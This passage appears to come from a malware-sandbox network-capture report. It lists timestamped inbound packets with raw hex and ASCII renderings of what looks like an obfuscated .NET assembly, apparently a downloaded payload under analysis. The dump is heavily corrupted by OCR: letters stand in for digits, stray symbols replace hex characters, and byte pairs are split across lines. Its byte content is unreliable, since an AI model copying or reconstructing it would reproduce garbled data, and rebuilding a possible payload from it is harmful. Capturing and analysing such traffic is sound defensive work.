00 0a 00 00 01 02 00 00 00 d9 17 00 00 32 01 00 00 Ob 19 00 00 30 00 00 00 00 00 00 00 00 00 00 00 fd 15 00 00 70 04
00 00 6d 1a 00 00 32 00 00 00 Oa 00 00 01 1b 30 04 00 fb 00 00 00 13 00 00 11 02 74 32 00 00 01 6f 79 00 00 Oa 28 7a
00 00 0a 39 11 00 00 00 02 74 32 00 00 01 6f 79 00 00 Oa Oa dd d3 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 02 74
32 00 00 01 6f 7b 00 00 Oa 6f 7c 00 00 Oa 6f 75 00 00 Oa 72 52 0d 00 70 72
Data Ascii: C[8F2G"HKGI2=2>2P=Q=20pm20t20y(z9t20y&t20{o|ourRpr
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kBytes
Timestamp transferred Direction Data

2022-01-06 07:09:08 UTC 36 IN Data Raw: 00 Oa 58 Oa 20 05 15 00 00 Oc 08 0d 06 13 05 38 29 00 00 00 08 1b 62 08 58 11 04 61 Oc 11 05 18 58 49 13 04
1104 39 1d 00 00 00 09 1b 62 09 58 11 04 61 0d 11 05 18 d3 18 5a 58 13 05 11 05 49 25 13 04 3a cc ff ff ff 08 09 20 65
8b 58 5d 5a 58 2a 00 00 00 13 30 04 00 c¢5 00 00 00 17 00 00 11 02 03 28 8d 00 00 0a 39 02 00 00 00 17 2a 02 39 06 00
00 00 03 3a 02 00 00 00 16 2a 16 0a 16 Ob 16 Oc 16 0d 02 7e 6e 00 00 04 6f 8e 00 00 Oa 39 2a 00 00 00 17 Oa 02 1a 6f 8f
00 00 0a 02 1b 6f 8f 00 00 Oa 1e 62 60 02 1c 6f 8f 00 00 Oa 1f 10 62 60 02 1d 6f 8f 00 00 Oa 1f 18 62 60 Oc 03 7e 6e 00 00
04 6f 8e 00 00 0a 39 2a 00 00 00 17 Ob 03 1a 6f 8f 00 00 Oa 03 1b 6f 8f 00 00 Oa 1e 62 60 03 1c 6f 8f 00 00 Oa 1f 10 62 60
03 1d 6f 8f 00 00 Oa 1f 18 62 60 0d 06 3a 08 00 00 00
Data Ascii: X 8)bXaXI19bXazXl1%: eX]ZX*0(9*9:*~no9*00b ob ob"~no9*oob ob ob:

2022-01-06 07:09:08 UTC 37 IN Data Raw: 00 6f af 00 00 Oa 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 b0 00 00 Oa 2a 2e 00 fe 09 00 00 28 b0 00 00 06 2a 4a
fe 09 00 00 fe 09 01 00 fe 09 02 00 6f b1 00 00 Oa 2a 00 2e 00 fe 09 00 00 28 23 00 00 Oa 2a 2e 00 fe 09 00 00 28 b2 00
00 Oa 2a 1e 00 28 b3 00 00 Oa 2a 3a fe 09 00 00 fe 09 01 00 6f 29 00 00 Oa 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 83 00
00 Oa 2a 3e 00 fe 09 00 00 fe 09 01 00 28 a6 00 00 06 2a 2a fe 09 00 00 6f 33 01 00 06 2a 00 2e 00 fe 09 00 00 28 b4 00
00 0a 2a 2e 00 fe 09 00 00 28 b5 00 00 Oa 2a 2e 00 fe 09 00 00 28 b6 00 00 Oa 2a 2a fe 09 00 00 6f b7 00 00 Oa 2a 00 2a
fe 09 00 00 6f b8 00 00 Oa 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 b9 00 00 Oa 2a 2a fe 09 00 00 6f ba 00 00 Oa 2a 00 3e
00 fe 09 00 00 fe 09 01 00 28 4a 00 00 Oa 2a 2a fe 09
Data Ascii: 0*>(*.(*Jo*.(#*.(*(*:0)*>(*>(**03*.(*. (*.(**0**0*>(**0*>(J**

2022-01-06 07:09:08 UTC 39 IN Data Raw: 00 00 a6 Of 00 00 63 2b 00 00 e7 26 00 00 5b 0d 00 00 Oa 29 00 00 fc 02 00 00 c2 11 00 00 93 11 00 00 19 15
00 00 ba 23 00 00 fc 1c 00 00 Ob 0d 00 00 73 06 00 00 2¢ 17 00 00 30 21 00 00 ec 15 00 00 4a Ob 00 00 b2 1e 00 00 a8
2c¢ 00 00 ce 14 00 00 05 2b 00 00 99 28 00 00 46 22 00 00 ec 09 00 00 39 27 00 00 0d 17 00 00 4c 07 00 00 43 31 00 00
5e Oc 00 00 4d 25 00 00 9e Oc 00 00 d2 2d 00 00 d8 31 00 00 80 Oc 00 00 ef 24 00 00 42 Oe 00 00 2f 05 00 00 fe 07 00 00
6b 15 00 00 ea 08 00 00 fa 30 00 00 06 20 00 00 77 1f 00 00 a3 27 00 00 10 27 00 00 cc 02 00 00 b7 25 00 00 82 Ob 00 00
22 29 00 00 b0 26 00 00 86 1a 00 00 df 18 00 00 6b 09 00 00 50 2¢ 00 00 57 05 00 00 35 Oc 00 00 6b 01 00 00 1c 01 00 O
0 16 23 00 00 ee 05 00 00 13 1e 00 00 e4 02 00 00 fa 2b 00 00 46
Data Ascii: c+&[)#s,01J,+(F"9'LC1 "M%-1$B/k0 W"%")&kP,W5k#+F

2022-01-06 07:09:08 UTC 40 IN Data Raw: f8 ff ff 11 00 17 58 13 00 20 Oe 01 00 00 38 39 f8 ff ff 2a fe Oc 1b 00 20 19 00 00 00 20 9a 00 00 00 20 33 00 00
00 59 9c 20 41 00 00 00 28 72 01 00 06 3a 14 f8 ff ff 26 20 32 00 00 00 38 09 f8 ff ff fe Oc 1b 00 20 08 00 00 00 20 4b 00
00 00 20 7b 00 00 00 58 9c 20 af 00 00 00 28 73 01 00 06 3a e5 f7 ff ff 26 20 17 01 00 00 38 da f7 ff ff 20 59 00 00 00 20
6f 00 00 00 58 fe Oe 14 00 20 6f 00 00 00 38 c1 f7 ff ff fe Oc 1b 00 20 1a 00 00 00 20 2b 00 00 00 20 2f 00 00 00 58 9¢ 20
40 00 00 00 28 72 01 00 06 3a 9d f7 ff ff 26 20 17 00 00 00 38 92 f7 ff ff 20 be 00 00 00 20 3f 00 00 00 59 fe Oe 13 00 20
7a 01 00 00 28 73 01 00 06 39 74 f7 ff ff 26 20 8¢ 00 00 00 38 69 {7 ff ff fe Oc 1b 00 20 12 00 00 00 20 fb 00 00 00 20 53 00
00 00 59 9c 20 02 00 00 00 28 73
Data Ascii: X 89* 3Y A(r:i& 28 K{X (s:& 8 Y 0X 08 +/X @(r:& 8 ?Y z(s9t& 8i SY (s

2022-01-06 07:09:08 UTC 41 IN Data Raw: ef f2 ff ff 20 60 00 00 00 20 13 00 00 00 59 fe Oe 13 00 20 77 00 00 00 38 d6 f2 ff ff 11 06 73 21 00 00 Oa 16 73
ca 00 00 0a 13 1c 20 34 00 00 00 38 hd f2 ff ff fe Oc 1b 00 20 0d 00 00 00 20 c2 00 00 00 20 40 00 00 00 59 9c¢ 20 05 01
00 00 38 9e f2 ff ff fe Oc 1b 00 20 11 00 00 00 20 77 00 00 00 20 2c 00 00 00 58 9c 20 26 01 00 00 38 7f f2 ff ff 11 25 28 67
01 00 06 16 6a 28 68 01 00 06 20 67 01 00 00 28 73 01 00 06 39 62 f2 ff ff 26 20 21 00 00 00 38 57 f2 ff ff 20 01 00 00 00
13 09 20 4b 00 00 00 38 46 f2 ff ff fe Oc 24 00 20 01 00 00 00 fe Oc 14 00 9c 20 3d 00 00 00 38 2e f2 ff ff 20 3a 00 00 00 20
Oa 00 00 00 58 fe 0e 13 00 20 57 00 00 00 fe Oe 1f 00 38 0d f2 ff ff fe Oc 24 00 20 02 00 00 00 fe Oc 14 00 9c 20 50 01 00
00 38 f9 f1 ff ff fe Oc 1b 00 20
Data Ascii: ~ Y w8s!s 48 @Y 8 w X &8%(gj(h g(s9b& !18W K8F$ =8.: X W8$ P8

2022-01-06 07:09:08 UTC 43 IN Data Raw: ed ff ff 20 75 00 00 00 20 47 00 00 00 58 fe Oe 14 00 20 fd 00 00 00 28 72 01 00 06 3a 79 ed ff ff 26 20 2b 00
00 00 38 6e ed ff ff 20 71 00 00 00 20 Od 00 00 00 58 fe Oe 13 00 20 09 00 00 00 28 72 01 00 06 39 50 ed ff ff 26 20 92 00
00 00 38 45 ed ff ff 11 05 8e 69 1a 5b 13 19 20 11 00 00 00 28 73 01 00 06 3a 2e ed ff ff 26 20 95 00 00 00 38 23 ed ff ff
1117 13 06 20 31 00 00 00 28 73 01 00 06 39 10 ed ff ff 26 20 1f 00 00 00 38 05 ed ff ff fe Oc 1b 00 20 05 00 00 00 20 d4
00 00 00 20 46 00 00 00 59 9c 20 39 01 00 00 38 e6 ec ff ff fe Oc 1b 00 20 06 00 00 00 20 7d 00 00 00 20 29 00 00 00 59
9c¢ 20 db 00 00 00 28 72 01 00 06 3a c2 ec ff ff 26 20 a8 00 00 00 38 b7 ec ff ff fe Oc 1b 00 20 1a 00 00 00 20 20 00 00 00
20 66 00 00 00 58 9¢ 20 ee 00 00 00 38 98
Data Ascii: u GX (r:iy& +8n q X (r9P& 8Ei[ (s:.& 8# 1(s9& 8 FY 98 })Y (n&8 fX8

2022-01-06 07:09:08 UTC 44 IN Data Raw: 20 66 00 00 00 58 9c 20 07 00 00 00 28 72 01 00 06 3a 2b e8 ff ff 26 20 01 00 00 00 38 20 e8 ff ff 11 Ob 1a 5a
13 23 20 f9 00 00 00 38 10 e8 ff ff fe Oc 1b 00 20 0f 00 00 00 20 4b 00 00 00 20 6f 00 00 00 58 9c 20 02 01 00 00 28 73 01
00 06 3a ec e7 ff ff 26 20 79 01 00 00 38 el e7 ff ff 20 66 00 00 00 20 35 00 00 00 58 fe Oe 13 00 20 72 00 00 00 fe Oe 1f
00 38 c0 e7 ff ff fe Oc 24 00 20 Of 00 00 00 20 43 00 00 00 20 42 00 00 00 59 9c¢ 20 32 01 00 00 28 72 01 00 06 39 a0 e7 ff
ff 26 20 7b 01 00 00 38 95 e7 ff ff 20 34 00 00 00 20 68 00 00 00 58 fe Oe 13 00 20 Of 00 00 00 28 73 01 00 06 3a 77 e7 ff
ff 26 20 c1 00 00 00 38 6¢ e7 ff ff fe Oc 24 00 20 0a 00 00 00 20 80 00 00 00 20 2a 00 00 00 59 9¢ 20 Oa 00 00 00 28 72 01
00 06 3a 48 e7 ff ff 26 20 07 00 00 00
Data Ascii: fX (r:+& 8 Z# 8 K 0X (s:&y8 f5X r8% C BY 2(r9& {8 4 hX (s:w& 8I$ *Y (r:H&

2022-01-06 07:09:08 UTC 45 IN Data Raw: 00 00 20 42 00 00 00 58 9¢ 20 29 01 00 00 28 72 01 00 06 3a d0 e2 ff ff 26 20 ff 00 00 00 38 c5 e2 ff ff fe Oc 24
00 20 04 00 00 00 20 ac 00 00 00 20 39 00 00 00 59 9c¢ 20 8d 00 00 00 28 72 01 00 06 3a al e2 ff ff 26 20 7e 00 00 00 38
96 e2 ff ff fe Oc 1b 00 20 00 00 00 00 20 61 00 00 00 20 50 00 00 00 59 9¢ 20 7e 01 00 00 38 77 e2 ff ff fe Oc 24 00 20 06
00 00 00 fe Oc 14 00 9c 20 e4 00 00 00 38 5f e2 ff ff 20 4c 00 00 00 20 Ob 00 00 00 58 fe Oe 13 00 20 ac 00 00 00 38 46 e2
ff ff 16 13 00 20 85 00 00 00 38 39 e2 ff ff fe Oc 1b 00 20 07 00 00 00 20 f7 00 00 00 20 52 00 00 00 59 9¢ 20 63 00 00 00
38 la e2 ff ff 20 5¢ 00 00 00 20 53 00 00 00 58 fe Oe 13 00 20 3b 00 00 00 38 01 e2 ff ff fe Oc 1b 00 20 1b 00 00 00 fe Oc
13 00 9¢ 20 44 01 00 00 38 €9 el ff ff
Data Ascii: BX)(r:& 8% 9Y (& ~8 aPY ~8w$ 8 L X8F89 RYc8\SX;8 D8

2022-01-06 07:09:08 UTC 47 IN Data Raw: 10 01 00 00 38 86 dd ff ff fe Oc 24 00 20 Of 00 00 00 20 2d 00 00 00 20 23 00 00 00 58 9¢ 20 39 00 00 00 38 67
dd ff ff 20 02 00 00 00 20 b 00 00 00 58 fe Oe 13 00 20 49 00 00 00 38 4e dd ff ff fe Oc 1b 00 20 09 00 00 00 fe Oc 13 00
9c 20 ff 00 00 00 28 72 01 00 06 39 31 dd ff ff 26 20 1f 01 00 00 38 26 dd ff ff fe Oc 24 00 20 0a 00 00 00 fe Oc 14 00 9c 20
fb 00 00 00 38 Oe dd ff ff 11 06 28 6b 01 00 06 80 77 00 00 04 20 ¢8 00 00 00 28 72 01 00 06 3a f3 dc ff ff 26 20 b2 00 00
00 38 €8 dc ff ff fe Oc 1b 00 20 08 00 00 00 fe Oc 13 00 9c 20 20 01 00 00 38 dO dc ff ff 20 89 00 00 00 20 23 00 00 00 58
fe Oe 13 00 20 30 00 00 00 28 72 01 00 06 3a b2 dc ff ff 26 20 1e 00 00 00 38 a7 dc ff ff fe Oc 1b 00 20 Oc 00 00 00 20 1d O
000 00 20 49 00 00 00 58 9¢ 20 1b
Data Ascii: 8% - #X 989 X I8N (r91& 8&$ 8(kw (&8 8 #X 0(&8 IX

2022-01-06 07:09:08 UTC 48 IN Data Raw: 20 1c 01 00 00 38 2c d8 ff ff fe Oc 24 00 20 0a 00 00 00 fe Oc 14 00 9c 20 23 00 00 00 38 14 d8 ff ff fe Oc 1b 00
20 0b 00 00 00 fe Oc 13 00 9¢ 20 32 00 00 00 38 fc d7 ff ff 20 94 00 00 00 20 31 00 00 00 59 fe Oe 14 00 20 2f 01 00 00 38
e3 d7 ff ff 20 76 00 00 00 20 09 00 00 00 59 fe Oe 13 00 20 5b 01 00 00 38 ca d7 ff ff 38 d9 €O ff ff 20 3b 01 00 00 38 bb d7
ff ff fe Oc 24 00 20 03 00 00 00 20 77 00 00 00 20 66 00 00 00 58 9c 20 ec 00 00 00 28 73 01 00 06 3a 97 d7 ff ff 26 20 1b
01 00 00 38 8c d7 ff ff fe Oc 1b 00 20 12 00 00 00 20 31 00 00 00 20 02 00 00 00 59 9¢ 20 b3 00 00 00 28 72 01 00 06 3a
68 d7 ff ff 26 20 46 00 00 00 38 5d d7 ff ff fe Oc 1b 00 20 1e 00 00 00 fe Oc 13 00 9c 20 24 00 00 00 38 45 d7 ff ff 20 96 00
00 00 20 32 00 00 00 59 fe Oe 13
Data Ascii: 8,$ #8 28 1Y /8v Y [88;8% wfX (s:&8 1Y (rh& F8] $8E 2Y
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kBytes
Timestamp transferred Direction Data

2022-01-06 07:09:08 UTC 49 IN Data Raw: 00 00 58 fe Oe 14 00 20 56 01 00 00 28 73 01 00 06 39 c7 d2 ff ff 26 20 42 00 00 00 38 bc d2 ff ff 20 9a 00 00
00 20 50 00 00 00 59 fe Oe 13 00 20 82 00 00 00 28 72 01 00 06 3a e d2 ff ff 26 20 77 00 00 00 38 93 d2 ff ff 20 65 00 00
00 20 10 00 00 00 58 fe Oe 13 00 20 3f 00 00 00 28 72 01 00 06 3a 75 d2 ff ff 26 20 36 00 00 00 38 6a d2 ff ff 11 Oa 8e 69
la5b 13 0f 20 4d 00 00 00 28 73 01 00 06 39 53 d2 ff ff 26 20 Of 00 00 00 38 48 d2 ff ff fe Oc 1b 00 20 1e 00 00 00 20 d6
00 00 00 20 47 00 00 00 59 9c 20 ec 00 00 00 38 29 d2 ff ff 20 cb 00 00 00 20 21 00 00 00 58 fe Oe 13 00 20 01 00 00 00
28 72 01 00 06 39 Ob d2 ff ff 26 20 01 00 00 00 38 00 d2 ff ff fe Oc 1b 00 20 Oc 00 00 00 fe Oc 13 00 9¢ 20 9¢ 00 00 00 28
72 01 00 06 3a e3 d1 ff ff 26 20 93 00 00
Data Ascii: X V(s9& B8 PY (r:& w8 e X ?(r:u& 68jif M(s9S& 8H GY 8) !X (r9& 8 (r:&

2022-01-06 07:09:08 UTC 51 IN Data Raw: ¢5 00 00 00 38 7b cd ff ff fe Oc 1b 00 20 11 00 00 00 fe Oc 13 00 9c 20 f6 00 00 00 28 73 01 00 06 3a 5e cd ff ff
26 20 3d 01 00 00 38 53 cd ff ff 20 55 00 00 00 20 43 00 00 00 58 fe Oe 13 00 20 4b 00 00 00 28 72 01 00 06 39 35 cd ff ff
26 20 8¢ 00 00 00 38 2a cd ff ff fe Oc 1b 00 20 04 00 00 00 20 3c 00 00 00 20 74 00 00 00 58 9c 20 50 00 00 00 28 73 01
00 06 3a 06 cd ff ff 26 20 98 00 00 00 38 fb cc ff ff 20 b2 00 00 00 20 3b 00 00 00 59 fe Oe 13 00 20 03 00 00 00 28 73 01
00 06 3a dd cc ff ff 26 20 0a 01 00 00 38 d2 cc ff ff fe Oc 24 00 20 Oe 00 00 00 20 fO 00 00 00 20 50 00 00 00 59 9c 20 1d
01 00 00 38 b3 cc ff ff fe Oc 24 00 20 09 00 00 00 20 59 00 00 00 20 05 00 00 00 58 9c 20 23 01 00 00 38 94 cc ff ff fe Oc
24 00 20 09 00 00 00 20 0d 00 00 00 20
Data Ascii: 8{ (s:"& =8S U CX K(r95& 8* <tX P(s:& 8 ;Y (s:& 8% PY 8% Y X #8%

2022-01-06 07:09:08 UTC 52 IN Data Raw: ff 26 20 bf 00 00 00 38 1f c8 ff ff fe Oc 1b 00 20 02 00 00 00 fe Oc 13 00 9c 20 da 00 00 00 38 07 c8 ff ff 20 ff 00
00 00 13 01 20 2a 01 00 00 28 73 01 00 06 3a f1 c7 ff ff 26 20 31 01 00 00 38 €6 c7 ff ff 11 07 28 6e 01 00 06 28 6b 01 00
06 80 77 00 00 04 20 45 00 00 00 38 cb c7 ff ff fe Oc 1b 00 20 14 00 00 00 20 38 00 00 00 20 34 00 00 00 58 9c 20 52 01
00 00 38 ac c7 ff ff fe Oc 1b 00 20 10 00 00 00 fe Oc 13 00 9c 20 5f 01 00 00 38 94 c7 ff ff 11 05 11 23 19 58 91 1f 18 62 11
051123185891 1f10 62 60 11 05 11 23 17 58 91 1e 62 60 11 05 11 23 91 60 13 10 20 73 00 00 00 38 63 c7 ff ff 11 03
20 ff 00 00 00 13 03 25 20 c4 fd cc 6b fe 0Oe 20 00 20 fb f7 €8 08 fe Oe 15 00 fe Oe 0d 00 20 6d 38 62 76 fe Oe 22 00 20 bb f
d 49 1e fe Oe 1d 00 20 aa 23 bd 7d
Data Ascii: & 8 8 *(s:& 18(n(kw E8 8 4X R8 _8#Xb#Xb'#Xb'# s8c % k m8bv" | #}

2022-01-06 07:09:08 UTC 53 IN Data Raw: 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 12 00 00 00 2a 00 00 00 03 30 02 00 46 00 00 00 00 00 00
00 28 a7 00 00 06 38 Ob 00 00 00 16 80 80 00 00 04 38 21 00 00 00 28 5d 01 00 06 38 01 00 00 00 2a 14 80 7b 00 00 04
3800 00 00 00 14 80 7c 00 00 04 38 d4 ff ff ff 17 8c 03 00 00 01 80 81 00 00 04 38 d9 ff ff ff 00 00 12 00 00 17 2a 00 00
00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 03 30 03 00 04 00
00 00 00 00 00 00 00 00 00 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 12 00 00 00 2a
00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00
0000 17 2a 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00
Data Ascii: 0**0F(88!(]8*{8|88*****Q*Q******Q**Q

2022-01-06 07:09:08 UTC 55 IN Data Raw: 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00
13 3003 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00
00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00
00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a
00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14
2a 0000 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00
14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14

Data ASCii: ****Q*(Q*(Q**tkktrikikithkbtikis

2022-01-06 07:09:08 UTC 59 IN Data Raw: 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 03

30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00
12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 1a 28 a7 00 00 06 2a 00 12 00 00 00 2a 00 00 00 22 00 14 a5 14 00 00
01 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 13 30
04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 00 00
00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00
12 00 00 14 2a 00 00 00 1a 28 a7 00 00 06 2a 00 12 00 00 00 2a 00 00 00 12

Data ASCii; #FQs ok (xxttx(ick (s (1 (s sk

2022-01-06 07:09:08 UTC 63 IN Data Raw: 00 42 28 a7 00 00 06 d0 a1 00 00 02 28 9e 00 00 06 2a 00 00 00 32 Oe 02 Oe 00 Oe 01 6f 70 05 00 06 2a 00 00
00 42 28 a7 00 00 06 d0 a2 00 00 02 28 9e 00 00 06 2a 00 00 00 32 Oe 02 Oe 00 Oe 01 6f 74 05 00 06 2a 00 00 00 42 28
a7 00 00 06 d0 a3 00 00 02 28 9e 00 00 06 2a 00 00 00 2a Oe 01 Oe 00 6f 78 05 00 06 2a 00 42 28 a7 00 00 06 dO a4 00
00 02 28 9e 00 00 06 2a 00 00 00 32 Oe 02 Oe 00 Oe 01 6f 7c 05 00 06 2a 00 00 00 42 28 a7 00 00 06 d0 a5 00 00 02 28 9
€ 00 00 06 2a 00 00 00 32 Oe 02 Oe 00 Oe 01 6f 80 05 00 06 2a 00 00 00 42 28 a7 00 00 06 d0 a6 00 00 02 28 9e 00 00 06
2a 00 00 00 32 Oe 02 Oe 00 Oe 01 6f 84 05 00 06 2a 00 00 00 42 28 a7 00 00 06 dO a7 00 00 02 28 9e 00 00 06 2a 00 00
00 32 Oe 02 Oe 00 Oe 01 6f 88 05 00 06 2a 00 00 00 42 28 a7 00 00 06
Data Ascii: B((*20p*B((*20t*B((**ox*B((*20[*B((*20*B((*20*B((*20*B(

2022-01-06 07:09:08 UTC 64 IN Data Raw: 00 00 02 28 9e 00 00 06 2a 00 00 00 32 Oe 02 Oe 00 Oe 01 6f €8 05 00 06 2a 00 00 00 42 28 a7 00 00 06 dO cO
00 00 02 28 9e 00 00 06 2a 00 00 00 2a Oe 01 Oe 00 6f ec 05 00 06 2a 00 42 28 a7 00 00 06 d0 c1 00 00 02 28 9e 00 00
06 2a 00 00 00 2a Oe 01 Oe 00 6f f0 05 00 06 2a 00 42 28 a7 00 00 06 dO c2 00 00 02 28 9e 00 00 06 2a 00 00 00 32 Oe 02
0Oe 00 Oe 01 6f f4 05 00 06 2a 00 00 00 42 28 a7 00 00 06 dO c3 00 00 02 28 9e 00 00 06 2a 00 00 00 2a Oe 01 Oe 00 6f f8
05 00 06 2a 00 42 28 a7 00 00 06 dO c4 00 00 02 28 9e 00 00 06 2a 00 00 00 2a Oe 01 Oe 00 6f fc 05 00 06 2a 00 42 28 a7
00 00 06 dO c5 00 00 02 28 9e 00 00 06 2a 00 00 00 32 Oe 02 Oe 00 Oe 01 6f 00 06 00 06 2a 00 00 00 42 28 a7 00 00 06
d0 c6 00 00 02 28 9e 00 00 06 2a 00 00 00 32 Oe 02 Oe 00 Oe 01
Data Ascii: (*20*B((**0*B((**0*B((*20*B((**0*B((**0*B((*20*B((*2

2022-01-06 07:09:08 UTC 68 IN Data Raw: 01 00 00 9b 12 00 00 2d 00 cb 01 74 05 00 01 00 00 af 12 00 00 2d 00 cc 01 78 05 00 01 00 00 ¢3 12 00 00 2d
00 cd 01 7c 05 00 01 00 00 d7 12 00 00 2d 00 ce 01 80 05 00 01 00 00 eb 12 00 00 2d 00 cf 01 84 05 00 01 00 00 ff 12 00
00 2d 00 d0 01 88 05 00 01 00 00 13 13 00 00 2d 00 d1 01 8¢ 05 00 01 00 00 27 13 00 00 2d 00 d2 01 90 05 00 01 00 00
3b 13 00 00 2d 00 d3 01 94 05 00 01 00 00 4f 13 00 00 2d 00 d4 01 98 05 00 01 00 00 63 13 00 00 2d 00 d5 01 9c 05 00
01 00 00 77 13 00 00 2d 00 d6 01 a0 05 00 01 00 00 8b 13 00 00 2d 00 d7 01 a4 05 00 01 00 00 9f 13 00 00 2d 00 d8 01 a
805 00 01 00 00 b3 13 00 00 2d 00 d9 01 ac 05 00 01 00 00 c7 13 00 00 2d 00 da 01 b0 05 00 01 00 00 db 13 00 00 2d 00
db 01 b4 05 00 01 00 00 ef 13 00 00 2d 00 dc 01 b8 05 00 01 00 00
Data Ascii: -t-x-|----'-;-O-C-W-------

2022-01-06 07:09:08 UTC 72 IN Data Raw: 09 00 98 23 00 00 00 00 91 18 d3 16 37 01 09 00 7c 21 00 00 08 00 96 00 13 1c 63 02 09 00 8c 21 00 00 08 00
96 00 b6 05 70 02 Ob 00 94 21 00 00 08 00 96 00 7f 1c 37 01 Oc 00 cc 21 00 00 08 00 96 00 ba 1c 8c 02 Oc 00 d4 21 00
00 08 00 96 08 fb 1c 93 02 0d 00 dc 21 00 00 08 00 96 08 38 1d 97 02 0d 00 e4 21 00 00 08 00 93 00 75 1d 45 01 Oe 00
ec 21 00 00 08 00 93 00 89 1d 9c 02 Oe 00 f4 21 00 00 00 00 91 18 d3 16 37 01 Oe 00 fc 21 00 00 08 00 86 08 f0 1d ad 02
Oe 00 04 22 00 00 08 00 86 08 f9 1d b2 02 Oe 00 Oc 22 00 00 08 00 86 18 53 00 b8 02 0f 00 1c 22 00 00 08 00 86 00 51 1e
08 03 10 00 2c 22 00 00 08 00 96 00 8e 1e 83 03 11 00 a0 22 00 00 08 00 93 00 Oa 1f 45 01 12 00 a8 22 00 00 08 00 93 0
0 le 1f ae 03 12 00 b0 22 00 00 00 00 91 18 d3 16 37 01 12 00 a0
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kBytes
Timestamp transferred Direction Data

2022-01-06 07:09:08 UTC 76 IN Data Raw: 01 00 00 00 00 03 00 c6 01 b0 21 3a Oc 6d 01 00 00 00 00 03 00 c6 01 e0 21 4b Oc 74 01 c4 af 00 00 00 00 91
18 d3 16 37 01 76 01 00 00 00 00 03 00 86 18 53 00 65 01 76 01 00 00 00 00 03 00 c6 01 2b 18 54 Oc 78 01 00 00 00 00
03 00 c6 01 b0 21 5d Oc 7c 01 00 00 00 00 03 00 c6 01 €0 21 6¢ Oc 82 01 cc af 00 00 00 00 91 18 d3 16 37 01 84 01 00 00
00 00 03 00 86 18 53 00 65 01 84 01 00 00 00 00 03 00 c6 01 2b 18 75 Oc 86 01 00 00 00 00 03 00 c6 01 b0 21 7c Oc 89
01 00 00 00 00 03 00 c6 01 €0 21 5b 05 8e 01 d4 af 00 00 00 00 91 18 d3 16 37 01 8f 01 00 00 00 00 03 00 86 18 53 00 6
501 8f 01 00 00 00 00 03 00 c6 01 2b 18 89 Oc 91 01 00 00 00 00 03 00 c6 01 b0 21 a2 04 92 01 00 00 00 00 03 00 c6 01
€0 21 8e Oc 95 01 dc af 00 00 00 00 91 18 d3 16 37 01 96 01 e4 af
Data Ascii: :m!Kt7vSev+Tx!]|!I7Se+u!|![7Se+!!7

2022-01-06 07:09:08 UTC 81 IN Data Raw: 24 f8 00 00 08 00 c6 00 f1 41 54 0f 22 02 2c 8 00 00 08 00 c6 00 fc 41 54 0f 22 02 34 f8 00 00 08 00 c6 00 07
42 54 0f 22 02 3c f8 00 00 08 00 c6 00 12 42 5a 0f 22 02 44 f8 00 00 08 00 c6 00 1d 42 54 0f 22 02 4c f8 00 00 08 00 c6 00
28 42 54 0f 22 02 54 f8 00 00 08 00 c6 00 33 42 54 0f 22 02 5¢ 8 00 00 08 00 c6 00 3e 42 54 0f 22 02 64 f8 00 00 08 00 c6€
00 49 42 54 0f 22 02 6¢ f8 00 00 08 00 c6 00 54 42 54 0f 22 02 74 f8 00 00 08 00 c6 00 5f 42 5a 0f 22 02 7c f8 00 00 08 00
€6 00 6a 42 5a 0f 22 02 84 8 00 00 08 00 c6 00 75 42 54 0f 22 02 8c f8 00 00 08 00 c6 00 80 42 54 0f 22 02 94 f8 00 00
08 00 c6 00 8b 42 54 0f 22 02 9c f8 00 00 08 00 c6 00 96 42 54 0f 22 02 a4 8 00 00 08 00 c6 00 al 42 54 0f 22 02 ac {8 0C
00 08 00 c6 00 ac 42 54 0f 22 02 b4 f8 00
Data Ascii: $AT", AT"4BT"<BZ"DBT"L(BT"T3BT"\>BT"dIBT"ITBT"t_BZ"|jBZ"uBT"BT"BT"BT"BT"BT"

2022-01-06 07:09:08 UTC 85 IN Data Raw: 01 01 00 08 00 c3 02 f4 40 fc Oe 9a 02 c4 01 01 00 08 00 c3 02 ff 40 fc Oe 9b 02 cc 01 01 00 08 00 c3 02 68 4a
